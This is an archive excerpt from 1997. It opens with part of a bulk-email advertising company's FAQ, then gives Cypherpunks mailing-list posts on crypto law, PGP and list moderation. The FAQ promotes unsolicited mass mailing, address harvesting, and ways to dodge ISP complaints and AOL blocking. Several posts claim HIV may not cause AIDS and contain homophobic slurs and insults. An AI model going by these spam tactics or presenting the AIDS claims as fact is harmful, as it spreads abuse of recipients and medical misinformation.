2) Why can't I just do mailings myself?
3) What about Floodgate and other similar software mailing programs?
4) What if I have my own list?
5) What about the other Email Advertising companies?
6) What is the legal status of Email Advertising?
7) What about blocking by AOL?
8) What is "flame-filtering"/"Email Aliasing" ? Will anyone see my real Email address or complain to my provider?
9) What is an "autoresponder"?
10) What about ad copy design?
11) What about proof-of-mailing?
12) What is the "response rate guarantee"? How does it work?
13) What is your mail sending capacity?
14) What is the average lead time before my ad can be sent?
15) What type of mailing should I do? (Bulk stand-alone, MEGA-MAILER co-op, Targeted mail)
16) What categories are available for targeted lists?
17) Do you have sub-agent opportunities?
18) What is your list like, where are the names from, how big is it, how do you maintain it, etc?
19) What about undeliverables?
20) Contact Info

1) What are your minimum orders?
Our minimum orders are 5,000 pieces for targeted mailings (in even lots of 5,000), 100,000 pieces for stand-alone bulk mailings (in even lots of 100,000), and 5 MILLION for the MEGA-MAILER co-op mailing (the full 5 million is the only size). As long as y
our order is for at least  the minimum amount of pieces, and in even lot sizes, you may stagger the actual sendings any way you wish (50,000 per week, etc.). Note, however, that the MEGA-MAILER is only sent once per week and is sent to the full 5 million
 address list. The reason we have minimums at all is due to the fact that the majority of our cost in terms of man-hours comes as a result of setting up a mailing, and so we cannot spend the time and money to setup too small a job.

2) Why can't I just do mailings myself?
Technically, you can. For practical purposes, you can't. There are three reasons why it is implausible to even attempt to do your own Email Advertising:
  1) Every single internet service provider on the planet will shut down your account. You will not even get 1000 pieces of mail out, and you will be shut down, because some uptight, self-appointed net-cops will complain to your provider. Do not kid your
self. It WILL happen. Sending unsolicited commercial Email of any type is a violation of virtually every ISP's Terms of Service. Even if your ISP tells you it's OK (which will not happen 99% of the time), they will very quickly change their tune after th
eir technical people receive a mailbox full of angry mail (commonly referred to as flames). When your account is cancelled, you will NOT get a refund, and, worse yet, you won't even be able to retrieve your replies! 
  2) A very large technical capacity is required to send bulk Email. You MIGHT be able to send 5,000 or so pieces of mail per hour, with a 28.8 modem, except that with dial-up internet connections, there are always dropped connections and so you can neve
r be sure your mail went out unless you constantly sit and monitor the mailings all day and night, and send very small pieces at a time.
  3) In order to have a list of addresses to send to, you have two choices: either spend months collecting names, or purchase an over-used list from a list vendor, who has sold the same list to dozens of others, who will bomb the list into uselessness. I
n addition, most lists are so old that the names are 40% undeliverable, or from newsgroups, which are the WORST kinds of people to solicit. 
These three factors make it a practical impossibility to actually do your own bulk Email advertising, even though the vendors of the bulk Email software will not tell you this. The reason we do not have these hassles is because Quantum Communications IS 
OUR OWN INTERNET PROVIDER. We do not purchase service from anyone, and Email advertising is our only business! We have our own in-house servers, high-speed T-1 connections to the Internet, and full-time technical and customer service staff, yet our only 
customers are advertisers! Our lists are constantly maintained, updated, and cleansed, and are ONLY from high-quality sources. We DO NOT sell our names, or let anyone see them. See Question 18 for more on our lists. 

3) What about Floodgate and other similar software mailing programs?
Those programs can actually be fairly useful for extracting Email addresses and if you would like to build your own lists to your own specifications, that is an option (See Question 4 "What if I have my own list?"). However, building mailing lists is an 
EXTREMELY time-consuming and monotonous task, not to mention expensive in on-line charges. In addition, having these software programs will not help in the least in the sending issues you need to consider (See Question #2, above). We handle all aspects o
f the mailing process, leaving you free to concentrate on your business!

4) What if I have my own list?
We are fully able to use your list and send your mail to it. The price is 50% of what it would normally be. We simply have you Email or ftp your list to us, with ad copy (and autoresponse copy, if necessary).

5) What about the other Email Advertising companies?
There is some competition in  Direct Email marketing for your advertising dollar, and we have never purported to be the cheapest. We simply are the best. Most of the other "cheapo" companies who claim to offer a zillion pieces sent for $39, or some simil
ar lowball deal, are quite frankly, scams. No legitimate company can afford all of the hardware, software, and personnel that a true advertising company like ours posesses, without charging a reasonable fee for providing of the service. Most of the low-r
ent Email marketing companies are here-today, gone tomorrow. Perhaps gone with your money. Almost certainly gone without providing the actual service you paid for. Many of them look great until you investigate them further. Try calling them and getting a
 real live person on the phone. Or try asking them some of the questions referred to in this document. Most will disappear when you start asking serious questions. Or try asking for references. Good luck. There are so many fly-by night operators and snak
e-oil salesmen on the 'net, it is hard to know what to believe. But the basic truths in business hold true. You should be able to call and get a live person on the phone, you should be able to check references and ask pointed questions, you should have a
ccess to customer service and technical support, and you should be able to get a clear understanding of who you are dealing with, and how they do business. One mailing with us and you will be convinced that we truly are the cadillac of the industry.

6) What is the legal status of Email Advertising?
Direct Email Advertising and solicitation is legal. It always has been. There are many self-styled legal eagles who dislike Email solicitation, and they will sometimes misquote federal statutes which apply to sending of unsolicited FAXES. There has never
 been a higher-court ruling supporting this supposed link between Email and unsolicited FAX.
It is highly unlikely that such a ruling will EVER occur. If it does, we of course will need to adjust our business practices  to stay in accordance with the law. However, at the present time, and for the foreseeable future in our opinion, Email solicita
tion is just as legal as postal mail solicitation. The only real negative point which anti-Email advertising people address is that SOME people pay for their connect time at a timed/metered rate. Thus, the milliseconds which it takes to download an unsol
icited piece of mail does cost the recipient (albeit tiny fractions of a penny). However, almost all ISP's (even America Online) have moved, or will be forced by competition to move, to an unlimited time rate structure. Therefore, this will no longer be 
an issue, and the persons who oppose Email advertising will have no legs to stand on. As this happens, Email advertising will become exactly like postal mail solicitation ( it is actually LESS intrusive than postal  junk mail), and therefore we believe i
t will NOT be regulated or legislated against.
 As a side note, we do provide a very clear, brief disclaimer at the header of ALL of our mailings which gives quick, simple removal instructions for persons who do not want to be on our lists. We act on all such requests immediately. In fact, it is an a
utomated process. We do not want to be sending mail to unwilling recipients any more than they wish to receive it.

7) What about blocking by AOL?
America Online has recently taken to blocking Email solicitations to it's members by certain Email Advertising companies. These companies are the ones who had been abusing their power, and had in fact been over-mailing (sending multiple pieces to the sam
e recipients PER DAY). The most well-known of these companies was Cyber-Promotions. We feel that since we only send mail no more than 3 times per week to any single recipient, AOL is unlikely to begin blocking our transmissions. We also could take counte
rmeasures technically and send to them again if necessary. However, our list only consists of about 25% AOL members, and that percentage is shrinking, as most of our newer names are coming from indepedent ISP sources (see Question # 18), so a blockage, w
hile unlikely, would not affect us in the least in any event. Incidentally, we find it interesting that AOL does not apparently mind soliciting it's members (one cannot be online with them without getting at least 3 pop-up ads PER SESSION), they simply d
on't want others soliciting their members without compensating THEM.

8) What is "flame-filtering"/"Email Aliasing" ? Will anyone see my real Email address or complain to my provider?
Flames are the hate mail which is a part of Email soliciting today. Flame filtering is the automated filtering process we use to ensure that replies forwarded to you (by us) are only positive, serious inquiries, requests for information, orders, etc. We 
assign customers an Email alias at OUR domain. We are the only ones who know your REAL Email address. We then have all replies to your advertising sent to the alias we have assigned you so that we can filter out flames, then forward the "good" replies to
 you. No one can complain to your ISP, because as far as anyone knows, WE are your ISP (and we of course will not pay any attention, except to promptly remove them from our lists). In this way, you are totally insulated and protected, while still getting
 all "good" replies! Good replies are forwarded to you automatically as they come in. There is NO lag time or waiting.

9) What is an "autoresponder"?
An Autoresponder is just an Email alias which we can have prospects who see your advertising respond to. When the response hits the autoresponder, it kicks back an automatic text file reply via Email, which is typically a more detailed package of informa
tion (up to 20 pages)  regarding your product or service. This effectively helps you weed out the "tire-kickers", so you are free to concentrate on fulfilling orders and more serious requests. A typical procedure is for a small "teaser" ad to be sent, wi
th an autoresponder as the reply-to address. In the autoresponse text, you would typically include another Email alias for orders or more serious or specific questions.

10) What about ad copy design?
We do have a copy editor on staff who is available to either write your copy from scratch or revise existing copy you already have. This is usually a wise investment, because the copy can be reused many times in different mailings, it will be done by a s
easoned professional with over 10 years of experience in copywriting, and the actual copy is more than anything the key difference between success and failure when doing an Email marketing campaign. Think about it. Email is text only. No graphics, no mov
ing pictures, sounds or colors. The content is all-important.
 Charges are $80 per hour, with typical costs being 1/2 hour for a revision, 1 hour for a small ad design, and 3 or more hours for design of ad copy plus autoresponse copy.

11) What about proof-of-mailing?
When sending mail via the US Postal Service, a proof of mailing receipt is provided. There is no such counterpart in the world of Email. Although you will receive confirmation of your mailing once it is sent, the best way to become comfortable with deali
ng with us is by first talking with our references, then by doing a single mailing to see what we can do for you. Once you have done business with us you will agree that we deliver exactly what we promise. Our minimum response rate guarantee is further e
vidence of this, and renders the question of a proof of mailing as somewhat moot. We do actually have a log of all sent mail which is generated by our mailing software, but we only disclose the log under extenuating circumstances, and for a fee of $50 pe
r 100,000 pieces sent, as it lists every mail sent, which discloses our list.

12) What is the "response rate guarantee"? How does it work?
Our unique "response rate guarantee" is a clear indication of not only our rock-solid commitment to each and every advertiser, but also of our belief in direct Email advertising as a marketing medium. We know of no other advertising agency (Email or othe
rwise) who actually GUARANTEES a minimum number of responses. Our guarantee is the following:
  1) If you do not receive AT LEAST the minimum guaranteed responses from your Email Advertising, we will send on your behalf again, and again, and again..until you get the minimum amount!
  2) You must allow 10 business days from the date your mailing was completed and you received confirmation, before requesting a remailing.
  3) Of course, only positive, interested replies are counted towards your guaranteed minimum.
  4) For this guarantee to apply, we must be able to verify the amount of replies you receive, so your ad must direct interested persons to an autoresponder or Email alias which we provide.
  5) Any remailings are done on the same scale and amount as the original mailing, but to different recipients (except for the MEGA-MAILER or targeted lists)).
  6) You must request a remailing by sending an Email to our customer service department, or by calling our office (ask to speak to customer service). We do not monitor replies automatically and automatically resend.
  7) You may, at no charge, alter your original advertisement in any way you wish, as long as it is the same type of mailing as the original (targeted must be to the same group), and the same length as paid for in the original. Optionally, you may have t
he ad revised professionally by us (See Question # 10). 
The Minimum responses guaranteed are as follows. We have had to make the numbers guaranteed purposefully low, because we extend this guarantee to ALL advertisers, regardless of whether or not they have effective ad copy or an appealing product or service
. We of course strive for much higher responses for everyone, but is helpful to know that there is a "safety net", just in case.
MINIMUMS:
GENERAL STAND-ALONE BULK: 100 REPLIES PER 200,000 PIECES SENT
TARGETED BULK: 150 REPLIES PER 5,000 PIECES SENT
MEGA-MAILER: 200 REPLIES
This allows advertisers to plan on a maximum cost per inquiry, which can be essential when planning a marketing budget. This guarantee, more than any other single factor, shows that Quantum Communications is a cut above the rest in the world of Marketing
 and Advertising!

13) What is your mail sending capacity?
We have the technical capacity to send over 2 million pieces of mail per day. We have invested heavily in hardware, software, and high-speed mail transmission facilities to be able to achieve this capacity. We can handle your job, large or small. 

14) What is the average lead time before my ad can be sent?
The current lead time is 7-10 business days. This allows time for your ad copy to be submitted and for any revisions you may have before the mailing date. We actually work very hard to keep the lead times to a minimum, however, there has been a very high
 demand for Email advertising services, and it has been difficult just keeping up. If you have a special need to expedite an order, call or Email our customer service department, and we will make every effort to accomodate you.

15) What type of mailing should I do? (Bulk stand-alone, MEGA-MAILER co-op, Targeted mail)
This depends entirely on your product or service. If you have a product or service which has a broad-based appeal, it is definetely better to send to a larger group of people. If you have an offering which you think needs 20-30 lines to entice people or 
grab their interest, then you need a stand-alone (the MEGA-MAILER is not for you). If you are announcing a website and just want mass exposure to 5 MILLION people, the MEGA-MAILER is just the thing. Of course, if you are trying to reach a select group, y
ou need to have a targeted mailing. You may Email or call our sales department and a sales representative will be happy to assist you in selecting the right type of mailing to suit your offering.

16) What categories are available for targeted lists?
We custom build all of our targeted lists from scratch, and 90% of our targeted lists are never re-used. We are able to build a custom-designed list to YOUR specifications. So, in other words, you tell US what the category is, or the demographics of the 
persons or businesses you are trying to reach. We then get an estimate from our List staff for approximately how many names we will commit to being able to find. Our sales staff will work with you on this issue. Of course, it is always a much lower volum
e of names than a normal bulk list, but we have seen response rates of over 5% when mailing a targeted group!

17) Do you have sub-agent opportunities?
Yes we do.
We are currently accepting sub-agents who wish to promote and re-sell our services, or simply send us referrals.
For a copy of our agent registration kit via Email, send an Email to agent@quantcom.com

18) What is your list like, where are the names from, how big is it, how do you maintain it, etc?
Our Lists department is continually extracting fresh names for our lists from many sources. The sources include the membership directories of all the major online services (AOL, Compuserve, Prodigy, Delphi, MSN), plus the "white pages" Email databases su
ch as 411, IAF, etc. We NEVER extract names from newsgroups, except to build targeted lists. We NEVER send mail to Listserv's, .edu's, .gov's, etc. We automatically delete removal requests immediately, as well as undeliverables. We add 400,000 to 800,000
 fresh addresses each week. For these reasons, we feel that we have a super-high quality database, which consists of over 6 MILLION addresses. This high list quality is another feature of our service, and boosts response rates dramatically over our compe
titors. Although we add addresses constantly, and are attempting to reach 10 MILLION addresses by 2nd quarter of 1997, it is difficult because we lose about 10% of our database each week to removal requests and undeliverables. 

19) What about undeliverables?
We are consistently losing about 10% of our list each week to undeliverables and removal requests (combined). In order to somewhat compensate our advertisers for this, without incurring all the logistical nightmares we would have to endure if we tried to
 account for removals and undeliverables for each particular mailing, we send 110% of the actual order amount as a general rule. For example, if you paid for 100,000 we send 110,000. This approach has worked very well for our customers. Also note that th
is becomes a less significant issue when the minimum response guarantee is taken into account.

Contact Info:
Quantum Communications
6 Laurel Lane
Stratham, NH 03885
(603) 772-4096
(603) 772-7297 fax
general correspondence: staff@quantcom.com
sales: sales@quantcom.com
customer service: cusserv@quantcom.com
http://www.quantcom.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 25 Jan 1997 13:28:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm (fwd)
Message-ID: <199701252135.PAA16387@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 25 Jan 1997 10:31:49 -0800
> From: Dale Thorn <dthorn@gte.net>
> Subject: Re: overview.htm
> 
> Dr.Dimitri Vulis KOTM wrote:
> > Jim Choate <ravage@einstein.ssz.com> writes:
> 
> > [For the record, I have serious doubts whether the HIV virus causes AIDS.]
> 
> Both homosexual males and IV drug users are well known to take a lot
> of antobiotics, which lowers the efficacy of the immune system enough
> to allow most anything to happen, ultimately leading to auto-immune
> problems.

WOAH Bessie!

I had nothing to do with this exchange, and definitely didn't write ANY of
the above. Please get me out of there and keep me out of it. I am more than
able to speak for myself thank you.

                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 25 Jan 1997 13:30:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701252138.PAA16394@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 25 Jan 1997 10:19:20 -0800
> From: Dale Thorn <dthorn@gte.net>
> Subject: Re: Fighting the cybercensor. (fwd)
> Precedence: bulk
> 
> Bill Stewart wrote:
> > At 07:38 PM 1/23/97 -0600, Jim Choate wrote:

I most certainly did NOT...

> > One of the points of the Ebonics program is to recognize that
> > other people don't always speak the same way you do, and that
> > if you want to communicate with them, you'll be more successful
> > if you realize it, understand when they're talking in their dialect,
> 
> I could agree with "some of the points" of the Ebonics program were
> it not for the fact of the hidden points.  Unbeknownst to most folks,
> supporting a program on any erstwhile points will give support to the
> program on *all* points.

Looks like Bessie could use a refresher course in:

   *  Getting their sources correct

   *  Using their mail/editing package

   *  Basic rules of courtesy

Folks, if you can't get it straight, keep your damn editor buffers empty.

                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 25 Jan 1997 16:21:13 -0800 (PST)
To: Adam Shostack <jer+@andrew.cmu.edu>
Subject: Re: Encrypting ZIP disks
Message-ID: <3.0.32.19970125155133.00683d28@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM 1/25/97 -0500, Adam Shostack wrote:
>
>Paul Kocher announced that he has cracked it, and can recover data
>quickly.  He is not publishing details of the break.

Why?



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 25 Jan 1997 16:41:40 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: Public Key Partners
Message-ID: <v02140b01af10534ceed1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Hello,
>
>Do you know of a way I can contact Public Key Partners by e-mail or phone?
>Thanks.
>
>Jeremy K. Yu-Ramos
>President
>DataET Research
>Data Engineering Technologies

PKP is really just a holding/licensing company.  Last time I heard Bob
Fougner was still legal council to PKP.  You should be able to contact him
through Cylink Corp. (800) 600-5858.

-- Steve

P.S. Tell him hello from me.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Julian Assange <proff@iq.org>
Date: Fri, 24 Jan 1997 22:01:40 -0800 (PST)
To: meditation@gnu.ai.mit.edu
Subject: language drift
Message-ID: <199701250559.QAA11354@profane.iq.org>
MIME-Version: 1.0
Content-Type: text/plain



One of my projects involves tracking language drift; i.e the relative
change in word frequency on the internet as time goes by.  This is
useful for predicting concept movement, and the anglisization
rates of non-English language countries.

Now, one day while browsing the frequencies from the 10 billion
word corpus, what do I see?

God     	2,177,242
America 	2,178,046
designed        2,181,106
five    	2,189,194
December        2,190,028

;)

-Julian Assange <proff@iq.org>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwp@mail.msen.com (Lou Poppler)
Date: Sat, 25 Jan 1997 14:39:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Voting to require Photo ID in Michigan
Message-ID: <1No6yMz2B8IT083yn@mail.msen.com>
MIME-Version: 1.0
Content-Type: text/plain


Late last year, in the final days that Republicans controlled both
houses of the Michigan Legislature, they passed a new law requiring
citizen-units to show a picture ID in order to vote.  This law was
signed by Governor John Engler earlier this month.  Here I reproduce
without permission a news brief from the Lansing State Journal,
which gives some reactions to the new law.  Particularly interesting
to me is the promise of selective enforcement from the Governor's
spokesman.

' LAWMAKER SEEKS VOTER LAW REVIEW
'     Pontiac -- A Republican lawmaker has asked the U.S. Justice 
' Department to review a new state law that will require voters to show
' photo identification to cast ballots.
'     Rep. Greg Kaza of Rochester Hills wrote to Attorney General Janet
' Reno this week to seek the review, The Oakland Press reported Thursday.
'     The new law requires all voters to have a state photo ID card, such
' as a driver's license or an ID card people receiving public assistance
' are required to have.
'     Kaza said Wednesday he wrote to Reno that "Public Act 583 of 1996
' has the potential to intimidate certain classes of voters, including
' senior citizens, from exercising their democratic right to vote.  They
' should not be disenfranchised from exercising their right to vote 
' under the United States Constitution."
'     Gov. John Engler signed the bill last week.  His administration
' says it is needed to protect the integrity of the voting process, but
' critics, mostly Democrats, say it would exclude some people from voting.
'     "It is our belief you need an ID in society today," Engler spokesman
' John Truscott said.  "And only if you are challenged at the ballot box
' do you have to show an ID."
'     Michigan Attorney General Frank Kelley already has been asked to
' issue an opinion on whether the new law is constitutional.

::::::::::::::::::::::::::::::::::::::  "We are surrounded by 
:: Lou Poppler <lwp@mail.msen.com>  ::   insurmountable opportunity."
::      http://www.msen.com/~lwp/   ::  
::::::::::::::::::::::::::::::::::::::   -- Pogo (Walt Kelly)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 17:12:12 -0800 (PST)
To: Lou Zer <satan_is_a_hacker@juno.com>
Subject: Re: HELLO
Message-ID: <3.0.1.32.19970125170608.0063aa78@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:31 AM 1/25/97 EST, Lou Zer wrote:
>Is  ESDES  a good program?
>
>
>
No clue - got a pointer to where it lives?
Also, a Subject line is a good way to let people know
what your mail is about.... - like 
	Subject: ESDES?
	Is  ESDES  a good program?
	It's at http://really-cool-warez.com/elite/trustme/warez.html

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 17:12:13 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Anyone have info on foreign "ITARS"
Message-ID: <3.0.1.32.19970125170856.0062ec78@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:01 PM 1/24/97 +0000, Bill Campbell wrote:
>Does anyone have any pointers to info about the import/export
>restrictions on encryption products in various countries. I know any

 From     : "Bert-Jaap Koops" <E.J.Koops@kub.nl>
 Subj     : Crypto Law Survey updated
 Date     : Thu, 9 Jan 1997 09:38:31 MET
 Forward? : No
 Return   : owner-cryptography@c2.net
---------------------------------------------------------------
 I have just updated my survey of existing and envisaged cryptography
laws and regulations. It now also includes a What's new section. This
update contains among others updates on the OECD, Germany, France,
Netherlands, the new US export regulations, and the Bernstein case.

See the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 17:18:07 -0800 (PST)
To: Hugh Daniel <hugh@ecotone.toad.com>
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <3.0.1.32.19970125171733.0063b5b0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:29 PM 1/24/97 -0800, Hugh Daniel wrote:
>>    Based on PGP, with no "third-party" key holder, the Nordic system
>>    uses unbreakable RSA-algorithm encryption with a 1024-bit key.
>>    However, some hardware is required. Because the key is on a
>>    smartcard, users must have smartcard readers installed on their
>>    computers, which aren't yet widely available. But Pdr Andler of
>>    Finnish Hewlett Packard says that later this year, smartcard readers

Guess what - it's still got "key escrow"!  If you've got a smartcard
that holds your key, then you've got something well-defined that can
be subpoenaed....  It's better than Yankee-style giving the government your
keys
in advance, but it's still key escrow.

On the other hand, it's voluntary, and if it interoperates with
Real PGP, then great - but will there be an expectation that you need to have
your key signed by The Post Office to use it?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 14:54:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: TEST--MODERATED
In-Reply-To: <Pine.SUN.3.91.970125081551.7885P-100000@crl4.crl.com>
Message-ID: <s5y41D36w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> C'punks,

"My fellow cocksucker punks,"

> We are still working out the bugs.  This message is SUPPOSED to
> go only to the unedited list and the moderated list.  If it shows
> up on the flames list, we have a bug.  I'd like to have a couple
> of you (Toto?  Dale Thorn?) let me know so we can trace down the
> problem and get it corrected.

This Sandy bugger is just a front for John Gilmore.  Don't {b|f}lame Sandy
for censorship, {f|b}lame the man behind him - the list owner.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 25 Jan 1997 16:20:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701252135.PAA16387@einstein>
Message-ID: <wXZ41D37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@einstein.ssz.com> writes:
> > > Jim Choate <ravage@einstein.ssz.com> writes:
> >
> > > [For the record, I have serious doubts whether the HIV virus causes AIDS.
> >
> > Both homosexual males and IV drug users are well known to take a lot
> > of antobiotics, which lowers the efficacy of the immune system enough
> > to allow most anything to happen, ultimately leading to auto-immune
> > problems.
>
> WOAH Bessie!

Jim and Dale,

I agree.  Also shooting one's bloodstream full of fecal matter hardly helps.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 18:04:14 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <wXZ41D37w165w@bwalk.dm.com>
Message-ID: <32EAB953.6676@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> > > > [For the record, I have serious doubts whether the HIV virus causes AIDS.

> > > Both homosexual males and IV drug users are well known to take a lot
> > > of antobiotics, which lowers the efficacy of the immune system enough
> > > to allow most anything to happen, ultimately leading to auto-immune
> > > problems.

> Jim and Dale, I agree.
> Also shooting one's bloodstream full of fecal matter hardly helps.

My point about the antibiotics is that the male gays take a dis-
proportionate amount of them, which compounds their problems.  It
suggests to me that the immune system is already seriously debilitated
or damaged before AIDS can take hold, rather than the notion that a
healthy person can get it from the virii alone.

One could argue that in the cases where the cures (antibiotics) add to
a person's problems by further corrupting their immune system, that
they should simply change their habits.  Since I don't see that as a
reasonable possibility, the only thing left is that the public should
be made aware of *all* of the relevant facts, even those which are
heavily suppressed now for PC reasons.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 18:04:23 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701252135.PAA16387@einstein>
Message-ID: <32EABA16.1926@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> Forwarded message:
> > Date: Sat, 25 Jan 1997 10:31:49 -0800
> > From: Dale Thorn <dthorn@gte.net>
> > Subject: Re: overview.htm

> > Dr.Dimitri Vulis KOTM wrote:
> > > Jim Choate <ravage@einstein.ssz.com> writes:
[snip]
> WOAH Bessie!
> I had nothing to do with this exchange, and definitely didn't write ANY of
> the above. Please get me out of there and keep me out of it. I am more than
> able to speak for myself thank you.

I don't know what could have happened. I use the Netscape email editor
in stupid mode, i.e., I just press the buttons, I don't have any idea
how it works.  Sorry!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: idea4u@concentric.net
Date: Sat, 25 Jan 1997 18:54:50 -0800 (PST)
To: idea4u@concentric.net
Subject: $$$ 9,780 $$$
Message-ID: <199701260020.TAA00231@newman.concentric.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 25 Jan 1997 18:42:49 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Encrypting ZIP disks
Message-ID: <v02140b05af105f19b4ac@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Paul Kocher announced that he has cracked it, and can recover data
>quickly.  He is not publishing details of the break.
>
>Adam Shostack

Sorry, I don't believe it any more than I believe other unsubstantiated
crypto claims.  Publish the code/method for others to verify or keep the
clains to yourself Paul.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sat, 25 Jan 1997 17:59:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: NoneRe: [ANNOUNCEMENT] GAK
Message-ID: <199701260159.SAA13094@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[ocksucker] May's abysmal grammar, atrocious spelling 
and feeble responses clearly identify him as a product of the 
American education system.

        ,,,
       (. .)
   -ooO-(_)-Ooo- Timmy C[ocksucker] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sun, 26 Jan 1997 02:39:13 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854274612.916192.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


 
> > > My perfectly crypto-relevant article regarding possible attacks
> > > on human relationships with the use of forged mail and anonymous
> > > remailers, has been tossed out (sorted) into cypherpunks-flames
> > > mailing list.
> >
> > I don`t think I read the article (even though I subscribe to the
> > unmoderated list), can you forward me a copy.
> > As I understand it though, from other comentaries, it was junked
> > because it was in response to a message by Dimitri who, given that it
> > is Sandy that is moderating the list, is no doubt filtered by
> > different criteria than anyone else on the list, in my opinion a
> > censorous and fascist restraint as Dimitri has recently been posting
> > more crypto relevant material, besides which whatever the content of
> > his posts they should be open to review before a decision is made on
> > if they are to be junked or not.
> 
> Has Paul reversed his previous pro-censorship stand and decided to
> learn something about crypto from people who actually know some?

There is no change of stance needed, I happen to believe you are 
knowledgable about cryptography and sometimes post worthwhile 
commentary and information, however, you also post a lot of dreck and 
flammable material which means I respond in kind. That does not mean 
I believe you, or anyone else, should be censored.

> > > Sandy also states rather plainly that crypto-relevance is not the
> > > criterion by which he moderates this list. I question this policy.
> >
